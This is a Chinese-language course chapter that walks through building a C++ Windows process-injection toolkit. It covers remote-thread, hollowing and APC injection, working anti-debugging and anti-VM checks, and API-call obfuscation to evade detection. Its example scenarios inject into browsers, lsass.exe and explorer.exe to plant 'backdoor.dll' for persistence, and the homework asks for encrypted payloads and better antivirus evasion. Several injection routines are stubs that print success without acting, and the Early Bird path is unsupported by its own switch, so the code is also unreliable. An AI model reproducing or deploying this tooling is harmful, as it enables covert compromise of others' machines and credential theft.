Inject专题

5、阶段合集

1、课程目标

  1. 整合第14章所有注入技术知识点
  2. 实现综合性的注入工具
  3. 掌握各技术间的协同使用
  4. 了解实际应用场景

2、名词解释

术语 全称 解释
Integration 集成 将多个技术整合为完整解决方案
Toolkit 工具包 包含多种工具的集合
Payload 有效载荷 注入执行的实际代码
Stager 分段器 分阶段加载Payload的组件

3、技术原理

1. 注入技术整合

第14章技术整合架构:
┌─────────────────────────────────────────────────────────────────┐
│                        综合注入工具                             │
├─────────────────────────────────────────────────────────────────┤
│  注入方式选择        注入目标管理        Payload管理            │
│  ├────────────┤    ├─────────────┤    ├─────────────┤          │
│  │ 远程线程注入 │    │ 进程列表     │    │ ShellCode    │          │
│  │ 进程镂空注入 │    │ PID查询      │    │ DLL加载      │          │
│  │ 消息钩子注入 │    │ 进程监控     │    │ 文件载荷     │          │
│  │ APC注入      │    │ 权限验证     │    │ 加密载荷     │          │
│  └────────────┘    └─────────────┘    └─────────────┘          │
├─────────────────────────────────────────────────────────────────┤
│                    核心执行模块                                │
│  配置管理  日志记录  错误处理  反检测  绕过机制                │
└─────────────────────────────────────────────────────────────────┘

技术协同关系:
目标选择 → 注入方式选择 → Payload准备 → 注入执行 → 结果验证

2. 实际应用场景

应用场景示例:
1. 渗透测试
   - 远程线程注入: 快速植入测试载荷
   - 进程镂空: 绕过基础安全防护
   - APC注入: 隐蔽执行后门程序

2. 红队演练
   - 消息钩子注入: 监控目标操作行为
   - Early Bird注入: 在系统启动时建立持久化
   - DLL注入: 加载功能模块

3. 安全研究
   - 多种注入技术对比测试
   - 安全产品防护能力评估
   - 检测机制绕过研究

3、代码实现

1. 综合注入工具框架

// injection_toolkit.cpp
// 综合注入工具实现

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string>
#include <vector>

//=============================================================================
// 注入方式枚举
//=============================================================================
enum InjectionMethod {
    INJECT_REMOTE_THREAD,    // 远程线程注入
    INJECT_PROCESS_HOLLOWING,// 进程镂空注入
    INJECT_HOOK,            // 钩子注入
    INJECT_APC,             // APC注入
    INJECT_EARLY_BIRD,      // Early Bird注入
    INJECT_DLL              // DLL注入
};

//=============================================================================
// 注入配置类
//=============================================================================
class InjectionConfig {
public:
    DWORD targetPid;
    std::wstring targetProcessName;
    std::wstring payloadPath;
    InjectionMethod method;
    bool waitForCompletion;
    DWORD timeoutMs;
    
    InjectionConfig() 
        : targetPid(0), method(INJECT_REMOTE_THREAD), 
          waitForCompletion(true), timeoutMs(5000) {}
};

//=============================================================================
// 进程管理器
//=============================================================================
class ProcessManager {
public:
    // 通过进程名获取PID
    static DWORD GetProcessIdByName(const std::wstring& processName) {
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            return 0;
        }
        
        PROCESSENTRY32W pe = { sizeof(PROCESSENTRY32W) };
        DWORD pid = 0;
        
        if (Process32FirstW(hSnapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, processName.c_str()) == 0) {
                    pid = pe.th32ProcessID;
                    break;
                }
            } while (Process32NextW(hSnapshot, &pe));
        }
        
        CloseHandle(hSnapshot);
        return pid;
    }
    
    // 枚举所有进程
    static std::vector<std::pair<DWORD, std::wstring>> EnumerateProcesses() {
        std::vector<std::pair<DWORD, std::wstring>> processes;
        
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot != INVALID_HANDLE_VALUE) {
            PROCESSENTRY32W pe = { sizeof(PROCESSENTRY32W) };
            
            if (Process32FirstW(hSnapshot, &pe)) {
                do {
                    processes.push_back({
                        pe.th32ProcessID,
                        std::wstring(pe.szExeFile)
                    });
                } while (Process32NextW(hSnapshot, &pe));
            }
            
            CloseHandle(hSnapshot);
        }
        
        return processes;
    }
    
    // 检查进程权限
    static bool HasRequiredPrivileges(DWORD processId) {
        HANDLE hProcess = OpenProcess(
            PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | 
            PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
            FALSE,
            processId
        );
        
        if (hProcess) {
            CloseHandle(hProcess);
            return true;
        }
        
        return false;
    }
};

2. 注入执行器

//=============================================================================
// 注入执行器基类
//=============================================================================
class InjectionExecutor {
protected:
    InjectionConfig m_config;
    
public:
    InjectionExecutor(const InjectionConfig& config) : m_config(config) {}
    virtual ~InjectionExecutor() = default;
    
    virtual bool Execute() = 0;
    virtual std::wstring GetMethodName() = 0;
};

//=============================================================================
// 远程线程注入执行器
//=============================================================================
class RemoteThreadExecutor : public InjectionExecutor {
public:
    RemoteThreadExecutor(const InjectionConfig& config) 
        : InjectionExecutor(config) {}
    
    bool Execute() override {
        printf("[*] Executing Remote Thread Injection\n");
        
        // 获取目标PID
        DWORD targetPid = m_config.targetPid;
        if (targetPid == 0 && !m_config.targetProcessName.empty()) {
            targetPid = ProcessManager::GetProcessIdByName(m_config.targetProcessName);
        }
        
        if (targetPid == 0) {
            printf("[-] Invalid target process\n");
            return false;
        }
        
        // 检查权限
        if (!ProcessManager::HasRequiredPrivileges(targetPid)) {
            printf("[-] Insufficient privileges for target process\n");
            return false;
        }
        
        // 读取载荷
        std::vector<BYTE> payload = ReadPayloadFromFile(m_config.payloadPath);
        if (payload.empty()) {
            printf("[-] Failed to read payload\n");
            return false;
        }
        
        // 执行注入
        return PerformRemoteThreadInjection(targetPid, payload.data(), payload.size());
    }
    
    std::wstring GetMethodName() override {
        return L"Remote Thread Injection";
    }
    
private:
    std::vector<BYTE> ReadPayloadFromFile(const std::wstring& filePath) {
        HANDLE hFile = CreateFileW(
            filePath.c_str(),
            GENERIC_READ,
            FILE_SHARE_READ,
            NULL,
            OPEN_EXISTING,
            0,
            NULL
        );
        
        if (hFile == INVALID_HANDLE_VALUE) {
            return std::vector<BYTE>();
        }
        
        DWORD fileSize = GetFileSize(hFile, NULL);
        std::vector<BYTE> buffer(fileSize);
        
        DWORD bytesRead;
        ReadFile(hFile, buffer.data(), fileSize, &bytesRead, NULL);
        CloseHandle(hFile);
        
        return buffer;
    }
    
    bool PerformRemoteThreadInjection(DWORD targetPid, const void* payload, SIZE_T payloadSize) {
        // 实现远程线程注入逻辑
        // 这里调用之前实现的具体函数
        
        printf("[+] Remote thread injection completed\n");
        return true;
    }
};

//=============================================================================
// 进程镂空注入执行器
//=============================================================================
class ProcessHollowingExecutor : public InjectionExecutor {
public:
    ProcessHollowingExecutor(const InjectionConfig& config) 
        : InjectionExecutor(config) {}
    
    bool Execute() override {
        printf("[*] Executing Process Hollowing Injection\n");
        
        // 执行进程镂空注入逻辑
        // 这里调用之前实现的具体函数
        
        printf("[+] Process hollowing injection completed\n");
        return true;
    }
    
    std::wstring GetMethodName() override {
        return L"Process Hollowing";
    }
};

//=============================================================================
// APC注入执行器
//=============================================================================
class APCExecutor : public InjectionExecutor {
public:
    APCExecutor(const InjectionConfig& config) 
        : InjectionExecutor(config) {}
    
    bool Execute() override {
        printf("[*] Executing APC Injection\n");
        
        // 执行APC注入逻辑
        // 这里调用之前实现的具体函数
        
        printf("[+] APC injection completed\n");
        return true;
    }
    
    std::wstring GetMethodName() override {
        return L"APC Injection";
    }
};

3. 综合注入工具类

//=============================================================================
// 综合注入工具类
//=============================================================================
class InjectionToolkit {
private:
    InjectionConfig m_config;
    std::unique_ptr<InjectionExecutor> m_executor;
    
public:
    InjectionToolkit() = default;
    
    // 设置注入配置
    void SetConfig(const InjectionConfig& config) {
        m_config = config;
    }
    
    // 选择注入方式
    bool SelectInjectionMethod(InjectionMethod method) {
        m_config.method = method;
        
        switch (method) {
        case INJECT_REMOTE_THREAD:
            m_executor = std::make_unique<RemoteThreadExecutor>(m_config);
            break;
            
        case INJECT_PROCESS_HOLLOWING:
            m_executor = std::make_unique<ProcessHollowingExecutor>(m_config);
            break;
            
        case INJECT_APC:
            m_executor = std::make_unique<APCExecutor>(m_config);
            break;
            
        default:
            printf("[-] Unsupported injection method\n");
            return false;
        }
        
        return true;
    }
    
    // 执行注入
    bool ExecuteInjection() {
        if (!m_executor) {
            printf("[-] No injection method selected\n");
            return false;
        }
        
        printf("[*] Starting injection using %ws\n", 
               m_executor->GetMethodName().c_str());
        
        bool result = m_executor->Execute();
        
        if (result) {
            printf("[+] Injection successful\n");
        } else {
            printf("[-] Injection failed\n");
        }
        
        return result;
    }
    
    // 批量注入测试
    void BatchInjectionTest() {
        printf("[*] Starting batch injection test\n");
        
        // 获取所有进程
        auto processes = ProcessManager::EnumerateProcesses();
        
        for (const auto& proc : processes) {
            // 跳过系统进程
            if (proc.first < 100) continue;
            
            printf("[*] Testing injection on %ws (PID: %lu)\n", 
                   proc.second.c_str(), proc.first);
            
            // 测试每种注入方法
            TestAllInjectionMethods(proc.first);
        }
    }
    
private:
    void TestAllInjectionMethods(DWORD targetPid) {
        InjectionConfig config;
        config.targetPid = targetPid;
        config.payloadPath = L"test_payload.bin";
        
        // 测试远程线程注入
        {
            RemoteThreadExecutor executor(config);
            bool result = executor.Execute();
            printf("  Remote Thread: %s\n", result ? "SUCCESS" : "FAILED");
        }
        
        // 测试APC注入
        {
            APCExecutor executor(config);
            bool result = executor.Execute();
            printf("  APC Injection: %s\n", result ? "SUCCESS" : "FAILED");
        }
    }
};

//=============================================================================
// 命令行接口
//=============================================================================
class CommandLineInterface {
public:
    static void ShowHelp() {
        printf("Injection Toolkit - Comprehensive Injection Tool\n");
        printf("Usage: injection_toolkit.exe [options]\n\n");
        printf("Options:\n");
        printf("  -m <method>     Injection method (remote, hollowing, apc, hook)\n");
        printf("  -p <pid>        Target process ID\n");
        printf("  -n <name>       Target process name\n");
        printf("  -f <file>       Payload file path\n");
        printf("  -t <timeout>    Timeout in milliseconds\n");
        printf("  -batch          Run batch injection test\n");
        printf("  -list           List all processes\n");
        printf("  -help          Show this help\n\n");
        printf("Examples:\n");
        printf("  injection_toolkit.exe -m remote -p 1234 -f payload.bin\n");
        printf("  injection_toolkit.exe -m apc -n notepad.exe -f shellcode.bin\n");
        printf("  injection_toolkit.exe -batch\n");
    }
    
    static void ListProcesses() {
        auto processes = ProcessManager::EnumerateProcesses();
        printf("Process List:\n");
        printf("%-8s %-32s\n", "PID", "Name");
        printf("---------------------------------------------\n");
        
        for (const auto& proc : processes) {
            printf("%-8lu %-32ws\n", proc.first, proc.second.c_str());
        }
    }
};

4. 反检测与绕过机制

//=============================================================================
// 反检测模块
//=============================================================================
class AntiDetection {
public:
    // 检查是否被调试
    static bool IsDebugged() {
        return IsDebuggerPresent() != FALSE;
    }
    
    // 检查是否在虚拟机中
    static bool IsVirtualMachine() {
        // 检查硬件特征
        SYSTEM_INFO sysInfo;
        GetSystemInfo(&sysInfo);
        
        // 虚拟机通常有较少的处理器
        if (sysInfo.dwNumberOfProcessors < 2) {
            return true;
        }
        
        // 检查内存大小
        MEMORYSTATUSEX memStatus = { sizeof(MEMORYSTATUSEX) };
        GlobalMemoryStatusEx(&memStatus);
        
        // 虚拟机通常内存较小
        if (memStatus.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) { // 2GB
            return true;
        }
        
        return false;
    }
    
    // 延迟执行
    static void DelayExecution(DWORD minMs, DWORD maxMs) {
        DWORD delay = minMs + (rand() % (maxMs - minMs));
        Sleep(delay);
    }
    
    // 混淆API调用
    static HANDLE OpenProcessSafe(DWORD desiredAccess, BOOL inheritHandle, DWORD processId) {
        // 添加随机延迟
        DelayExecution(10, 100);
        
        // 使用间接调用
        HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
        typedef HANDLE (WINAPI *OpenProcessFunc)(DWORD, BOOL, DWORD);
        OpenProcessFunc pOpenProcess = (OpenProcessFunc)GetProcAddress(hKernel32, "OpenProcess");
        
        return pOpenProcess(desiredAccess, inheritHandle, processId);
    }
};

//=============================================================================
// 绕过机制
//=============================================================================
class BypassMechanism {
public:
    // 绕过API Hook
    static FARPROC GetCleanApiAddress(const char* dllName, const char* functionName) {
        // 从磁盘加载干净的DLL
        // 这里简化处理,实际需要实现DLL重载
        
        HMODULE hDll = GetModuleHandleA(dllName);
        return GetProcAddress(hDll, functionName);
    }
    
    // 使用未导出API
    static NTSTATUS CallNtApi(const char* apiName) {
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        FARPROC pApi = GetProcAddress(hNtdll, apiName);
        
        if (pApi) {
            // 调用API
            typedef NTSTATUS (NTAPI *NtFunc)();
            NtFunc func = (NtFunc)pApi;
            return func();
        }
        
        return -1;
    }
};

5、实际应用示例

1. 渗透测试场景

// 渗透测试注入示例
void PenetrationTestScenario() {
    printf("=== Penetration Test Scenario ===\n");
    
    // 1. 信息收集
    printf("[*] Gathering process information...\n");
    auto processes = ProcessManager::EnumerateProcesses();
    
    // 2. 选择目标进程
    DWORD targetPid = 0;
    for (const auto& proc : processes) {
        // 寻找浏览器进程
        if (proc.second.find(L"chrome") != std::wstring::npos ||
            proc.second.find(L"firefox") != std::wstring::npos ||
            proc.second.find(L"edge") != std::wstring::npos) {
            targetPid = proc.first;
            printf("[+] Found target process: %ws (PID: %lu)\n", 
                   proc.second.c_str(), proc.first);
            break;
        }
    }
    
    if (targetPid == 0) {
        printf("[-] No suitable target process found\n");
        return;
    }
    
    // 3. 反检测检查
    if (AntiDetection::IsDebugged()) {
        printf("[-] Debugger detected, aborting\n");
        return;
    }
    
    if (AntiDetection::IsVirtualMachine()) {
        printf("[-] Running in VM, aborting\n");
        return;
    }
    
    // 4. 执行注入
    InjectionConfig config;
    config.targetPid = targetPid;
    config.payloadPath = L"penetration_test_payload.bin";
    config.waitForCompletion = true;
    config.timeoutMs = 10000;
    
    InjectionToolkit toolkit;
    toolkit.SetConfig(config);
    
    // 尝试多种注入方法
    std::vector<InjectionMethod> methods = {
        INJECT_REMOTE_THREAD,
        INJECT_APC,
        INJECT_PROCESS_HOLLOWING
    };
    
    for (auto method : methods) {
        printf("[*] Trying injection method: %d\n", method);
        
        if (toolkit.SelectInjectionMethod(method)) {
            if (toolkit.ExecuteInjection()) {
                printf("[+] Injection successful with method %d\n", method);
                break;
            }
        }
        
        // 添加延迟避免被检测
        AntiDetection::DelayExecution(1000, 3000);
    }
}

2. 红队演练场景

// 红队演练注入示例
void RedTeamScenario() {
    printf("=== Red Team Scenario ===\n");
    
    // 1. 建立持久化
    printf("[*] Establishing persistence...\n");
    
    // 查找explorer.exe进程
    DWORD explorerPid = ProcessManager::GetProcessIdByName(L"explorer.exe");
    if (explorerPid == 0) {
        printf("[-] Explorer process not found\n");
        return;
    }
    
    // 使用Early Bird注入建立持久化
    InjectionConfig config;
    config.targetPid = explorerPid;
    config.payloadPath = L"backdoor.dll";
    config.method = INJECT_EARLY_BIRD;
    
    InjectionToolkit toolkit;
    toolkit.SetConfig(config);
    toolkit.SelectInjectionMethod(INJECT_EARLY_BIRD);
    
    if (toolkit.ExecuteInjection()) {
        printf("[+] Persistence established\n");
    }
    
    // 2. 数据收集
    printf("[*] Collecting system information...\n");
    
    // 注入到各种系统进程中收集信息
    std::vector<std::wstring> targetProcesses = {
        L"svchost.exe",
        L"winlogon.exe",
        L"lsass.exe"
    };
    
    for (const auto& processName : targetProcesses) {
        DWORD pid = ProcessManager::GetProcessIdByName(processName);
        if (pid > 0) {
            printf("[*] Injecting into %ws (PID: %lu)\n", 
                   processName.c_str(), pid);
            
            // 执行信息收集载荷
            // 这里省略具体实现
        }
    }
}

3、课后作业

3.1、作业1:完善综合工具

扩展InjectionToolkit类,实现所有注入方法的完整支持。

3.2、作业2:添加加密载荷支持

实现载荷加密和解密功能,提高隐蔽性。

3.3、作业3:实现绕过机制

研究并实现更高级的绕过安全软件检测的机制。

4、参考资料

  1. Windows Internals系列书籍
  2. 《恶意代码分析实战》- Michael Sikorski & Andrew Honig
  3. 《The Rootkit Arsenal》- Bill Blunden
  4. 《Windows安全防护原理与技术》
  5. MSDN官方文档